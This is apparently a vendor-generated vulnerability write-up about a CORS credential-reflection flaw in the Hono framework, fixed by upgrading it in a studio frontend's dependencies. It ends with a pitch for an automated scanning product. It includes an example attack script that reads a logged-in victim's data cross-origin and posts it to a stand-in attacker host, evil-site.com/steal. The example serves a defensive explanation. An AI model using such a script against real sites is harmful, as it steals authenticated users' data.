How CORS credential reflection happens in Hono middleware and how to fix it

Introduction

In the studio frontend application, a high-severity vulnerability was discovered in the studio/frontend/package-lock.json dependency manifest. The Hono web framework version 4.12.21 contained a critical flaw in its CORS middleware that could expose authenticated users to cross-origin attacks.

This isn't just a theoretical concern—the vulnerability (CVE-2026-54290) allows any malicious website to make authenticated requests to the affected application and steal sensitive data. For a studio frontend that likely handles user sessions and potentially sensitive creative assets, this represents a serious security risk.

The Vulnerability Explained

What Went Wrong in Hono's CORS Middleware

Hono is a lightweight, ultrafast web framework popular for building APIs and web applications. Its CORS middleware is designed to handle Cross-Origin Resource Sharing headers, which control how browsers allow cross-origin requests.

The vulnerability exists in how Hono's CORS middleware handles the default configuration. When developers don't explicitly set the origin option, it defaults to a wildcard (*). However, the middleware was incorrectly reflecting the requesting origin in the Access-Control-Allow-Origin response header while simultaneously setting Access-Control-Allow-Credentials: true.

This combination is dangerous because:

1. Wildcard origins cannot be used with credentials according to the CORS specification
2. Reflecting arbitrary origins allows any website to make credentialed requests
3. The browser trusts the response and includes cookies/authentication headers

The Attack Scenario

Consider this attack against the studio frontend:

// Attacker's malicious website: evil-site.com
fetch('https://studio-app.example.com/api/user/data', {
  credentials: 'include',  // Send cookies
  method: 'GET'
})
.then(response => response.json())
.then(data => {
  // Attacker now has the victim's data
  fetch('https://evil-site.com/steal', {
    method: 'POST',
    body: JSON.stringify(data)
  });
});

When a logged-in user visits the attacker's site, their browser would:
1. Send a request to the studio app with their session cookies
2. Receive a response with Access-Control-Allow-Origin: https://evil-site.com
3. Receive Access-Control-Allow-Credentials: true
4. Allow the malicious JavaScript to read the response

The attacker could steal user data, session tokens, or any information accessible to the authenticated user.

Why This Matters for CLI Tools

The PR notes this is a CLI tool, meaning exploitation requires the attacker to control arguments or input files. However, the frontend component (studio/frontend) likely serves a web interface for the CLI tool, making browser-based attacks relevant when users access the studio through a web browser.

The Fix

Upgrading Hono to 4.12.25

The fix upgrades Hono from version 4.12.21 to 4.12.25, which properly handles CORS origin validation. The changes appear in studio/frontend/package-lock.json and studio/frontend/package.json.

Before (vulnerable):

{
  "hono": "4.12.21"
}

After (fixed):

{
  "hono": "4.12.25"
}

What Changed in Hono 4.12.25

The patched version of Hono's CORS middleware now:

1. Properly validates origins before reflecting them
2. Prevents wildcard + credentials combination at the middleware level
3. Requires explicit origin configuration when credentials are enabled

The diff also shows additional changes to peer dependency declarations for various platform-specific packages (@rollup/rollup-android-arm64, @rollup/rollup-darwin-arm64, etc.), adding "peer": true to ensure proper dependency resolution. These changes ensure the package-lock.json accurately reflects the dependency tree after the upgrade.

Code Changes in the Diff

The visible portion of the diff shows modifications to platform-specific Rollup packages:

"os": [
  "android"
],
"peer": true,  // Added
"engines": {
  "node": ">= 10"
}

These peer dependency additions across multiple platform packages (android-arm64, darwin-arm64, darwin-x64, linux variants, win32 variants) are side effects of the npm dependency resolution when upgrading Hono. The critical security fix is the Hono version bump itself.

Key Takeaways

• Hono versions before 4.12.25 have a CORS middleware flaw that reflects any origin with credentials
• The studio/frontend component was vulnerable to cross-origin data theft through this misconfiguration
• Dependency scanning with Trivy caught this vulnerability in the package-lock.json before it could be exploited
• Always explicitly configure CORS origins rather than relying on framework defaults
• CLI tools with web frontends still need browser security protections like proper CORS configuration

How Orbis AppSec Detected This

• Source: The Hono CORS middleware receiving cross-origin requests with the Origin header
• Sink: The Access-Control-Allow-Origin response header reflecting arbitrary origins with Access-Control-Allow-Credentials: true
• Missing control: Proper origin validation before reflecting the origin in CORS responses
• CWE: CWE-346 (Origin Validation Error)
• Fix: Upgraded Hono from 4.12.21 to 4.12.25, which properly validates origins before reflecting them with credentials

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.

Conclusion

CVE-2026-54290 demonstrates how a subtle misconfiguration in CORS middleware can create serious security vulnerabilities. The Hono framework's default behavior of reflecting any origin with credentials violated fundamental browser security principles and could have allowed attackers to steal authenticated user data from the studio frontend.

The fix—upgrading to Hono 4.12.25—is straightforward, but the lesson is clear: always explicitly configure security-sensitive middleware options, keep dependencies updated, and use automated scanning to catch vulnerabilities before they reach production.